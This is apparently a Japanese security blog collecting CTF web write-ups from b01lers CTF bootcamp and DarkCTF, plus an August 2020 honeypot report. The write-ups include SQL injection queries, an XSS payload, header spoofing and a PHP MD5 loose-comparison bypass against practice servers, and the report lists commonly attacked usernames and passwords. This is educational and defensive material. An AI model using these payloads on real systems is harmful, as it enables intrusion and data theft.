Midnight Monologues

日々勉強したことを書いてきます

b01lers CTF bootcamp - Writeup (web : Where's Tron?)

Web

Where's Tron?

We've lost Tron on the grid, find him using this uplink!

http://chal.ctf.b01lers.com:3004
server.pySize: 1.10 KB
MD5: 80b2f70baf1f8706a5eaf2cd86fe624b

添付ファイルのソースより、mysqlのDBにPOSTリクエストのクエリを投げて
該当するレコードがあれば表示する作りになっている。

◆ソースファイル
#!/usr/bin/env python3

from flask import Flask, render_template, request
import MySQLdb

app = Flask(__name__)


def query(query):
    db = MySQLdb.connect(host='localhost', user='selection_program', passwd='designation2-503', db='grid')
    cursor = db.cursor()
    try:
        cursor.execute(query + " LIMIT 20;")
        results = cursor.fetchall()
        cursor.close()
        db.close()
        return results
    except MySQLdb.ProgrammingError as e:
        print(e)
        return 1
    except MySQLdb.OperationalError as e:
        print(e)
        return 2


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        query_str = request.form['query']
        results = query(query_str)

        if results == 1:
            return render_template('index.html', error="Syntax error in query."), 500
        elif results == 2:
            return render_template('index.html', error="MySQLdb.OperationalError."), 500
    else:
        results = None

    return render_template('index.html', results=results)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

POST処理で受け取ったqueryに対して何も対策をしていないのでSQLインジェクションを狙うことができる。

色々調べると以下の情報がわかる。

Database : grid
Table : program
Column : id/location/name/statusの4つ

登録されているデータが1万件以上あるので、正規表現を使って検索した。

(select name,id,location from programs where name regexp '^Tron')
→Tron-JA-307020 1980 flag{I_fight_for_the_users_and_yori}
flag{I_fight_for_the_users_and_yori}

b01lers CTF bootcamp - Writeup (web : First Day Inspection)

Web

First Day Inspection

It's your first day working at ENCOM, but they're asking you to figure things out yourself.   
What an onboarding process... take a look around and see what you can find.  

http://chal.ctf.b01lers.com:3005

Author:@MDirt

指定されたURLへアクセスする。

kali@kali:~/Desktop$ curl http://chal.ctf.b01lers.com:3005/
<!doctype html>

<html lang="en">
<head>
  <meta charset="utf-8">

  <title>ENCOM</title>
  <meta name="description" content="The HTML5 Herald">
  <meta name="author" content="SitePoint">

  <link rel="stylesheet" href="css/styles.css">
  <link rel="icon" href="img/favicon.png">
  <script type="text/javascript" src="js/script.js"></script>

</head>
<!-- (1/5): flag{ -->
<body>
  <div class="container">
    <img id="logo" src="img/encom.png">
  </div>
  <h1>WELCOME EMPLOYEE</h1>
  <h1>ASSEMBLE THE KEY</h1>
</body>
</html>

ソースファイルに1/5つ目のflag(1/5): flag{が記載されている。 同様にして、開発者ツールのconsole.logに2つ目のflag(2/5): w3lcが記載されている。 styles.cssに3つ目のflag(3/5): 0m3_が記載されている。 script.jsに4つ目のflag(4/5): t0_Eが記載されている。 localstrorageに5つ目のflagが記載されている。に5つ目のflag(5/5) NC0M}が記載されている。

flag{w3lc0m3_t0_ENC0M}}

b01lers CTF bootcamp - Writeup (web : Reindeer Flotilla)

Web

Reindeer Flotilla

It's time to enter the Grid. Figure out a way to pop an alert() to get your flag.

http://chal.ctf.b01lers.com:3006

Author: @MDirt

指定されたURLへアクセスする。

kali@kali:~/Desktop$ curl http://chal.ctf.b01lers.com:3006/
<!doctype html>

<html lang="en">
<head>
  <meta charset="utf-8">

  <title>ENCOM Input</title>
  <meta name="description" content="XSS">
  <meta name="author" content="Kevin Flynn">

  <link rel="icon" href="img/favicon.png">
  <link rel="stylesheet" href="css/styles.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
  <script type="text/javascript" src="js/script.js"></script>
</head>

<body>
  <div>
    <ul id=messages>

    </ul>
  </div>
    <input type=text id="chat">

  <div id="result"></div>
  <img id="logo" src="img/encomlogotransparent.png">
</body>
</html>

入力欄のある画面が表示され、適当な文字を入力すると入力された文字列が表示される。
問題文からXSSを発火させればflagが得られそうだがscriptタグが入力できない。

script句を使わずに、DOM型で確認する。 入力欄に以下を入力する。

<i onclick=alert('XSS')>aaa

aaaをクリックすると発火されてflagが表示される。

flag{y0u_sh0uldnt_h4v3_c0m3_b4ck_flynn}

b01lers CTF bootcamp - Writeup (web : Programs Only)

Web

Programs Only!

You don't have to be lonely at Programs Only dot com

http://chal.ctf.b01lers.com:3003

指定されたURLへアクセスする。

kali@kali:~/Desktop$ curl http://chal.ctf.b01lers.com:3003/
<!DOCTYPE html>
<html lang="en">
  <head>
    <title>Welcome.</title>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <link
      rel="stylesheet"
      href="/static/css/tron.css"
    />
    <link
      rel="stylesheet"
      href="/static/css/style.css"
    />
  </head>

  <body style="background-color: black">
    <div id="main-wrapper">
      <div class="content-page">
        <div>
          <h1>Welcome 'curl/7.68.0' to The Grid.</h1>
        </div>
      </div>

      <div class="horizontal_wrapper">
        <div>
          <a href="/tron_city">
            <h2>Tron City</h2>
            <img
              src="/static/img/tron_city.jpg"
              alt="tron city"
            />
          </a>
        </div>
        <div>
          <a href="/sea_of_simulation">
            <h2>Sea of Simulation</h2>
            <img
              src="/static/img/SeaofSim01.webp"
              alt="sea_of_simulation"
            />
          </a>
        </div>
      </div>

      <div class="horizontal_wrapper">
        <div>
          <a href="/disc_arena">
            <h2>Disc Arena</h2>
            <img
              src="/static/img/disc_war.png"
              alt="disc arena"
            />
            <!-- from: https://www.deviantart.com/thepr0crastin80r/art/Tron-Legacy-SFM-Disc-Battle-737958125&psig=AOvVaw3jD_KhH4MDPoqSCBxj_OVH&ust=1600969105064000&source=images&cd=vfe&ved=0CA0QjhxqFwoTCMjv3_Lo_-sCFQAAAAAdAAAAABAD -->
          </a>
        </div>
        <div>
          <a href="/0001001_club">
            <h2>0001001 Club</h2>
            <img
              src="/static/img/0001001_Club.webp"
              alt="0001001 Club"
            />
          </a>
        </div>
      </div>

      <div class="horizontal_wrapper">
        <div>
          <a href="/portal">
            <h2>Portal</h2>
            <img
              src="/static/img/portal.webp"
              alt="portal"
            />
          </a>
        </div>
        <!--
        <div>
          <a href="/program">
            <h2>Program's Only</h2>
            <img src="/static/img/programs_only.jpg" alt="00101010" />
          </a>
        </div>
        -->
      </div>
    </div>
  </body>
</html>

アクセスしたクライアントのUser-Agentを動的に表示している。
robots.txtを確認すると以下の記載がある。

kali@kali:~/Desktop$ curl http://chal.ctf.b01lers.com:3003/robots.txt
User-agent: *
Disallow: /

User-agent: Program
Allow: /program/

User-agent: Master Control Program 0000
Allow: /program/control

robots.txtに記載されたUser-AgentとURLへアクセスするとflagが含まれたサイトが表示される。

kali@kali:~/Desktop$ curl  -H "User-Agent: Master Control Program 0000" http://chal.ctf.b01lers.com:3003/program/control
<!DOCTYPE html>
<html>
  <head>
    <title>Master Control.</title>
    <link
      rel="stylesheet"
      href="/static/css/tron.css"
    />
    <link
      rel="stylesheet"
      href="/static/css/style.css"
    />
  </head>
  <body>
    <div id="main-wrapper">
      <div class="content-page">
        <div>
          <h1>Master Control.</h1>
        </div>
        <div>

          <p>flag{who_programmed_you?}
</p>
        </div>
      </div>
    </div>
  </body>
</html>
flag{who_programmed_you?}

b01lers CTF bootcamp - Writeup (web : Find That Data!)

土, 03 10月 2020, 13:00 UTC — 月, 05 10月 2020, 00:00 UTCに開催されたb01lers CTF bootcampにチームで参加した。 相変わらず簡単な問題しか解けないのでもっと頑張りたい。自分が解いた問題のWriteupを記載する。

Web

Find That Data!

Complete what Clu could not... Find the data in memory.   
https://www.youtube.com/watch?v=PQwKV7lCzEI  

http://chal.ctf.b01lers.com:3001

ソースファイルより、username == "CLU" && password == "0222"で
ログインすると/maze配下へ遷移する。maze.jsの中身を確認する。

// Maze creation from http://logicalmoon.com/2015/06/creating-a-maze-using-javascript/
var maxCols = 36;
var maxRows = 44;

function CreateGrid() {
  var innerHTMLString = "";
  innerHTMLString = "<table>";
  for (var theRow = 0; theRow <= maxRows; theRow++) {
    innerHTMLString += "<tr>";
    for (var theCol = 0; theCol <= maxCols; theCol++) {
      innerHTMLString += '<td id="r';
      innerHTMLString += theRow;
      innerHTMLString += "c";
      innerHTMLString += theCol;
      innerHTMLString += '"></td>';
    }
    innerHTMLString += "</tr>";
  }
  innerHTMLString += "</table>";
  document.getElementById("maze-grid").innerHTML = innerHTMLString;
}

function RemoveWall(row, col) {
  var cell = "r" + row + "c" + col;
  // A north wall would cause a gap to be created so just remove easterly wall.
  if (row === maxRows && col == 1) return;
  if (row === 1) {
    if (col === maxCols) return;
    document.getElementById(cell).style.borderRightStyle = "hidden";
  } else if (col === maxCols) {
    document.getElementById(cell).style.borderTopStyle = "hidden";
  } else {
    if (Math.random() >= 0.5) {
      document.getElementById(cell).style.borderTopStyle = "hidden";
    } else {
      document.getElementById(cell).style.borderRightStyle = "hidden";
    }
  }
}

function Token() {
  $.get("/token", function(data, status) {
    $("#token").html(data);
  });
}

function CreateMaze() {
  for (var theRow = 1; theRow <= maxRows; theRow++) {
    for (var theCol = 1; theCol <= maxCols; theCol++) {
      RemoveWall(theRow, theCol);
    }
  }
}

function CreateAll() {
  Token();
  CreateGrid();
  add_x();
  add_o();
  CreateMaze();
}

window.addEventListener("load", function() {
  CreateAll();
  setInterval(CreateAll, 1000);
});

// CLU \\
let x = maxCols,
  y = 1;

function get_cell(column, row) {
  if (column === 0 || column > maxCols || row === 0 || row > maxRows)
    return null;
  return document.getElementById("r" + row + "c" + column);
}

function remove_x() {
  get_cell(x, y).innerHTML = "";
}

function add_x() {
  get_cell(x, y).innerHTML = '<img src="/static/img/clu_head.jpg" class="x" width="20px" height="20px" />';
}

function add_o() {
  get_cell(1, maxRows).innerHTML = '<p class="o">O</p>';
}

function check_data() {
  if (x === 1 && y === maxRows) {
    $.post("/mem", { token: $("#token").html() }).done(function(data) {
      alert("Memory: " + data);
    });
  }
}

function move_up() {
  let cell = get_cell(x, y);
  if (cell == null) return;
  if (y == 1 || cell.style.borderTopStyle != "hidden") return;
  remove_x();
  y -= 1;
  add_x();
  check_data();
}

function move_down() {
  let cell = get_cell(x, y + 1);
  if (cell == null) return;
  if (y == maxRows || cell.style.borderTopStyle != "hidden") return;
  remove_x();
  y += 1;
  add_x();
  check_data();
}

function move_right() {
  let cell = get_cell(x, y);
  if (cell == null) return;
  if (x == maxCols || cell.style.borderRightStyle != "hidden") return;
  remove_x();
  x += 1;
  add_x();
  check_data();
}

function move_left() {
  let cell = get_cell(x - 1, y);
  if (cell == null) return;
  if (x == 1 || cell.style.borderRightStyle != "hidden") return;
  remove_x();
  x -= 1;
  add_x();
  check_data();
}

・MaxColとMaxRowが最大列と最大行を指定している。
・x,yが人形の座標を示しており、ゴール(0の位置)に到着するとflagが取得できる。
・CreateAll関数でToken作成→列と行の数を指定→人形とゴールを設定→迷路作成の順で動いている。

F12をクリックして開発者ツールを起動し、以下の順で解く。

①24行目にbreakポイントを設定
②Consoleで以下を入力する。

maxRows=2
x=1
y=2
check_data()

f:id:SYN-ACK:20201005194323j:plain

flag{you_aren't_making_me_talk!}

解きたかった問題

・EnFlaskCom (Web)
・Derezzy (Web)
・Next Gen Networking (Web)

感想

・EnFlaskComのPickleの脆弱性は今後解けるように復習するぜ(ง •̀_•́)ง‼

DarkCTF - Writeup

金, 25 9月 2020, 03:00 UTC — 日, 27 9月 2020, 03:00 UTCに開催されたDarkCTF に個人で参加した。 チームが他のCTF大会に参加していたため、当該大会の問題に挑戦しながら気晴らしに取り組んだ。 簡単な問題しか解けてないが、以下にWriteupを記載する。

Web

Web/Source

Mr.Ghost
 
Don't know source is helpful or not !!
http://web.darkarmy.xyz

添付されたソースファイルを確認する。

<html>
    <head>
        <title>SOURCE</title>
        <style>
            #main {
    height: 100vh;
}
        </style>
    </head>
    <body><center>
<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<?php
$web = $_SERVER['HTTP_USER_AGENT'];
if (is_numeric($web)){
      if (strlen($web) < 4){
          if ($web > 10000){
                 echo ('<div class="w3-panel w3-green"><h3>Correct</h3>
  <p>darkCTF{}</p></div>');
          } else {
                 echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
  <p>Ohhhhh!!! Very Close  </p></div>');
          }
      } else {
             echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
  <p>Nice!!! Near But Far</p></div>');
      }
} else {
    echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
  <p>Ahhhhh!!! Try Not Easy</p></div>');
}
?>
</center>
<!-- Source is helpful -->
    </body>
</html>

以下の箇所よりUser-Agentに4文字未満の数字で10000以上の数をセットすればflagが表示される。

$web = $_SERVER['HTTP_USER_AGENT'];
if (is_numeric($web)){
      if (strlen($web) < 4){
          if ($web > 10000){
                 echo ('<div class="w3-panel w3-green"><h3>Correct</h3>
  <p>darkCTF{}</p></div>');

指数表現を使ってUser-Agentに値を設定するとflagが表示される。

kali@kali:~/Desktop$ curl -A "1e9" http://web.darkarmy.xyz/
<html>
    <head>
        <title>SOURCE</title>
        <style>
            #main {
    height: 100vh;
}
        </style>
    </head>
    <body><center>
<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<div class="w3-panel w3-green"><h3>Correct</h3>
  <p>darkCTF{changeing_http_user_agent_is_easy}</p></div></center>
<!-- Source is helpful -->
    </body>
</html>
darkCTF{changeing_http_user_agent_is_easy}

Web/Apache Logs

cyb3rz0n3

Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs.
flag format: DarkCTF{}

添付のApache HTTP Serverのログを確認する。
SQLインジェクションで攻撃を受けたログが記載されている。
(ログをみていると作問にOWASPのmutillidaeを使用していることが分かる。)

192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"

上記の部分のURLエンコードを解読→10進数を文字に変更するとflagが表示される。

DarkCTF{5ql_1nj3ct10n}

Web/Simple_SQL

Mr.Ghost

Try to find username and password  
[Link](http://simplesql.darkarmy.xyz/)

指定されたURLへアクセスすると<!-- Try id as parameter -->のヒントがある。

kali@kali:~/Desktop$ curl http://simplesql.darkarmy.xyz/
<!DOCTYPE html>
<html>
<head>
<title>Simple SQL</title>
<style>
 
</style>
</head>

<body bgcolor=black>
<center><font color=red class=title>Welcome Players To My Safe House </font></center> <br>


<br><!-- Try id as parameter  --> 
</body>
</html>

?id=0で順にアクセスするとメッセージが表示される。
?id=9でflagが表示される。

kali@kali:~/Desktop$ curl http://simplesql.darkarmy.xyz/?id=9
<!DOCTYPE html>
<html>
<head>
<title>Simple SQL</title>
<style>
 
</style>
</head>

<body bgcolor=black>
<center><font color=red class=title>Welcome Players To My Safe House </font></center> <br>


<font size="5" color="green">Username : flag Password : darkCTF{it_is_very_easy_to_find}<br></font>
</body>
darkCTF{it_is_very_easy_to_find}

Web/So_Simple

Mr.Ghost

"Try Harder" may be You get flag manually

Try id as parameter

http://web.darkarmy.xyz:30001

問題文からidパラメータを指定してGET処理を投げるとUserとPasswordが表示される。
http://web.darkarmy.xyz:30001/?id=1

kali@kali:~/Desktop$ curl http://web.darkarmy.xyz:30001/?id=1
<!DOCTYPE html>
<head>
<title>WEB!!!</title>
</head>

<body>
<font color=red>Welcome Players To My Safe House <br>
<font size="3">
<center>
<img src="hacker.png" width="200" height="200" />
</center>

<font size='5' color= '#05ff1a'>Your Login name:LOL<br>Your Password:Try </font></font> </div>
</body>
</html>

idパラメータにSQLインジェクション脆弱性があり、調べるとidパラメータの56465219にflagが記載されている。

kali@kali:~/Desktop$ curl http://web.darkarmy.xyz:30001/?id=56465219
<!DOCTYPE html>
<head>
<title>WEB!!!</title>
</head>

<body>
<font color=red>Welcome Players To My Safe House <br>
<font size="3">
<center>
<img src="hacker.png" width="200" height="200" />
</center>

<font size='5' color= '#05ff1a'>Your Login name:flag<br>Your Password:darkCTF{uniqu3_ide4_t0_find_fl4g}</font></font> </div>
</body>
</html>

Web/PHP İnformation

SaltanatNaibi

Let's test your php knowledge.

Flag Format: DarkCTF{}

http://php.darkarmy.xyz:7001

指定したURLへアクセスすると以下のPHPソースが表示される。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Corona Web</title>
</head>
<body>
    

    <style>
        body{
            background-color: whitesmoke
        }
    </style>
<?php

include "flag.php";

echo show_source("index.php");


if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
    if (!empty($res['darkctf'])){
        $darkctf = $res['darkctf'];
    }
}

if ($darkctf === "2020"){
    echo "<h1 style='color: chartreuse;'>Flag : $flag</h1></br>";
}

if ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){
    echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1></br>";
}


if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
    if (!empty($res['ctf2020'])){
        $ctf2020 = $res['ctf2020'];
    }
    if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){
        echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1></br>";
                
        }
    }



    if (isset($_GET['karma']) and isset($_GET['2020'])) {
        if ($_GET['karma'] != $_GET['2020'])
        if (md5($_GET['karma']) == md5($_GET['2020']))
            echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1></br>";
        else
            echo "<h1 style='color: chartreuse;'>Wrong</h1></br>";
    }



?>
</body>
</html> 

1つ目のflag:?darkctf=2020を指定する。
2つ目のflag:User-Agentに"MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ=="をデコードしたものを指定する。

kali@kali:~/Desktop$ echo -n "MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==" | base64 -d
2020_the_best_year_coronak

3つ目のflag:?ctf2020=ZGFya2N0Zi0yMDIwLXdlYg==をbase64エンコードした値

kali@kali:~/Desktop$ echo -n "ZGFya2N0Zi0yMDIwLXdlYg==" | base64
WkdGeWEyTjBaaTB5TURJd0xYZGxZZz09

4つ目のflag:?karmaと?2020に値としては異なるが、md5ハッシュ化した際に緩やかな比較で一致する値を指定する。
Googleで調べると緩やかな一致にて0eで始まる値は0として扱われるためイコールになる。 ?karma=240610708、?2020=QNKCDZOとした場合、以下は一致する。
md5('240610708') → 0e462097431906509019562988736854
md5('QNKCDZO') → 0e830400451993494058024219903391

従って以下URLへアクセスするとflagが表示される。

kali@kali:~/Desktop$ curl -A "2020_the_best_year_corona" "http://php.darkarmy.xyz:7001/?darkctf=2020&ctf2020=WkdGeWEyTjBaaTB5TURJd0xYZGxZZz09&karma=240610708&2020=QNKCDZO"
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Corona Web</title>
</head>
<body>
    

    <style>
        body{
            background-color: whitesmoke
        }
    </style>

  <中略>

Flag : DarkCTF{</h1></br><h1 style='color: chartreuse;'>Flag : very_</h1></br><h1 style='color: chartreuse;'>Flag : nice</h1></br><h1 style='color: chartreuse;'>Flag : _web_challenge_dark_ctf}</h1></br></body>
</html>
DarkCTF{very_nice_web_challenge_dark_ctf}

解きたかった問題

・Web/Agent-U (Web)
・Web/Dusty Notes (Web)
・Web/Chain Race (Web)
・Web/File Reader (Web)
・Web/Safe House (Web)

感想

・忙しくて色々なことが滞りがち。10月はCodeblue2020とSECCON 2020があるので挑戦したい。

ハニーポット運用(月次報告:2020年8月)

今月のTopics

9月である。今年はBlack HatもSECCONもAVTokyoもCODEBLUEも全てオンライン開催だ。
改めて今年は特別な年になっていることを実感する。歴史を振り返った際に間違いなく2020年は記録に残る年になるだろう。
(オンラインで快適な自宅から参加できるのは有難いと思う。)

今月のChangelog

8月は無し。多分9月か10月あたりにまた更新がありそう?

前提条件

運用日時:2020年8月1日-2020年8月31日
運用期間:31日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Dionaea 4,605,510 △811,403
2 Cowrie 3,927,297 △885,780
3 Honeytrap 266,919 ▲122,871
4 Heralding 229,515 ▲212,388
5 Mailoney 88,444 △75,548
6 Rdpy 58,108 ▲9,208
7 Tanner 4,418 ▲585
8 Adbhoney 3,805 △220
9 Ciscoasa 1,745 ▲464
10 CitrixHoneypot 785 △212
11 ElasticPot 613 ▲300
12 ConPot 196 ▲26
13 Medpot 8 ▲1,501
  • Result
    • DionaeaやCowrieの件数が多いのはいつも通り。
    • Mailoneyの件数が増えているのが気になる。

SenderとRecieverで登録されているアドレスは以下の通り。
JPドメインは無かった。

filters eMail Address CNT
Sender spameri@tiscali.it 86
Sender iau@iau-aiu.net 40
Sender dfbiagent21@gmail.com 23
Sender dfbiagent@gmail.com 23
Sender test@comstar.ru 10
Sender sarverce@gmail.com 8
Sender amas@amasbrasil.org.br 6
Sender info@fbi.gov.org 6
Sender wwb441@163.com 6
Sender abbaghali135@yahoo.fr 5
Receiver spameri@tiscali.it 42
Receiver dfbiagent21@gmail.com 23
Receiver dfbiagent@gmail.com 23
Receiver iau@iau-aiu.net 20
Receiver abbaghali135@yahoo.fr 13
Receiver davjackson911@gmail.com 13
Receiver e.larryschur@gmail.com 13
Receiver ibepaul01@hotmail.com 13
Receiver test@comstar.ru 5
Receiver ReubenRashty@outlook.com 4

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Ireland 1,981,961 1(→)
2 Russia 950,028 2(→)
3 Vietnam 832,669 3(→)
4 China 529,778 4(→)
5 United States 441,063 8(↑)
6 Panama 412,552 7(↑)
7 India 363,473 6(↓)
8 Brazil 296,436 9(↑)
9 Indonesia 241,698 11(↑)
10 Venezuela 221,328 14(↑)
11 Germany 209,644 12(↑)
12 Japan 206,875 18(↑)
13 Turkey 183,885 17(↑)
14 Ukraine 161,519 10(↓)
15 Taiwan 142,886 16(↑)
16 Republic of Moldova 132,459 15(↓)
17 Thailand 130,126 19(↑)
18 Netherlands 119,737 4(↓)
19 Egypt 113,344 圏外(↑)
20 Pakistan 95,772 20(→)

上記の国別のアクセスにおけるPort番号の分布は以下の通り。 ※対象は上位10か国まで

No 攻撃元の国名 Port 件数
1 Ireland 22 263,104
1 Ireland 80 243,961
1 Ireland 443 213,572
1 Ireland 25 114,368
1 Ireland 5900 29,194
1 Ireland 587 20,088
1 Ireland 993 18,267
1 Ireland 43594 14,980
1 Ireland 465 8,276
1 Ireland 445 1,088
2 Russia 445 355,839
2 Russia 443 189,481
2 Russia 5900 79,634
2 Russia 80 48,204
2 Russia 22 44,798
2 Russia 25 8,862
2 Russia 25000 6,353
2 Russia 3389 5,990
2 Russia 993 3,369
2 Russia 465 1,552
3 Vietnam 445 813,093
3 Vietnam 1433 3,854
3 Vietnam 22 2,120
3 Vietnam 3389 2,011
3 Vietnam 25 382
3 Vietnam 23 146
3 Vietnam 8545 59
3 Vietnam 80 26
3 Vietnam 1194 25
3 Vietnam 65529 14
4 China 445 96,894
4 China 22 64,897
4 China 1433 20,612
4 China 25 5,957
4 China 80 1,065
4 China 3389 984
4 China 23 859
4 China 21 542
4 China 6379 379
4 China 65529 334
5 United States 5060 149,138
5 United States 445 63,261
5 United States 25 48,573
5 United States 21 27,142
5 United States 22 13,171
5 United States 3389 4,576
5 United States 1433 1,654
5 United States 23 1,579
5 United States 5432 816
5 United States 80 433
6 Panama 80 91,000
6 Panama 22 55,746
6 Panama 443 39,006
6 Panama 445 2,065
6 Panama 25 249
6 Panama 993 58
6 Panama 1433 36
6 Panama 143 33
6 Panama 995 26
6 Panama 5555 7
7 India 445 335,469
7 India 22 3,872
7 India 3389 1,739
7 India 1433 611
7 India 23 214
7 India 2323 123
7 India 47001 53
7 India 4369 41
7 India 8129 41
7 India 2123 40
8 Brazil 445 271,934
8 Brazil 22 3,415
8 Brazil 1433 1,101
8 Brazil 23 163
8 Brazil 2323 131
8 Brazil 80 68
8 Brazil 8080 56
8 Brazil 9530 44
8 Brazil 3389 41
8 Brazil 81 12
9 Indonesia 445 227,637
9 Indonesia 22 2,061
9 Indonesia 1433 644
9 Indonesia 23 56
9 Indonesia 8080 20
9 Indonesia 80 14
9 Indonesia 3389 10
9 Indonesia 4343 8
9 Indonesia 4443 7
9 Indonesia 1443 6
10 Venezuela 445 221,160
10 Venezuela 1433 27
10 Venezuela 22 11
10 Venezuela 23 7
10 Venezuela 8080 2
10 Venezuela 80 1
10 Venezuela 3311 1
10 Venezuela 4443 1
10 Venezuela 13026 1
10 Venezuela 14614 1
  • Result
    • 国別のアクセスポート数をみるとssh(22)やhttp(80)、smb(445)、RDP(3389)が多い。
    • SMTP(25)やVNC(5900)が多いのは昨今のリモートワークの流行に乗って、サーバからクライアントへ攻撃対象が遷移しているためと考えている。

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID CNT
1 CVE-2020-11899 50,898
2 CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 36
3 CVE-2020-11910 22
4 CVE-2020-8515 CVE-2020-8515 5
5 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 2
  • Result
    • Ripple20の攻撃が相変わらず多い。 1万件を下回ることが無いのは驚きである。
    • 新規の攻撃は無し。

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 20)で記載する。
No ユーザ名 件数
1 root 302,087
2 admin 201,227
3 sa 12,699
4 user 11,386
5 support 10,367
6 nproc 2,688
7 22 1,894
8 postgres 1,286
9 test 968
10 ubuntu 873
11 sh 656
12 666666 502
13 oracle 398
14 enable 347
15 git 334
16 guest 324
17 ftpuser 320
18 deploy 314
19 administrator 312
20 mysql 224
  • Result
    • 先月から変更なし

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 20)を以下に記載する。
No パスワード 件数
1 admin 287065
2 & 79734
3 user 10716
4 support 10281
5 123456 5254
6 root 4874
7 password 3136
8 nproc 2688
9 12345678 1930
10 1593
11 123 1515
12 12345 1283
13 1234 1009
14 Password 694
15 aqweasdfgfdgfdh 651
16 ubnt 599
17 666666 592
18 123123 585
19 alpine 536
20 master 534
  • Result
    • 先月から変更なし

最後に

  • ElasticSearchのバージョンアップによりKibanaのTimeout時間が伸びた。その結果、Kibanaの管理画面にて大量データ検索時にもTimeoutエラーが出なくなった。
    運用を続けて、データが蓄積されるとKibanaのTimeoutエラーが頻発して運用影響があったので、これは非常にありがたい改善点だった。
  • 日本の神戸周辺のinfowebドメインの端末からのSatori botのアクセスは依然として続いている。
    そろそろIPAさんあたりに通報したほうがよかと?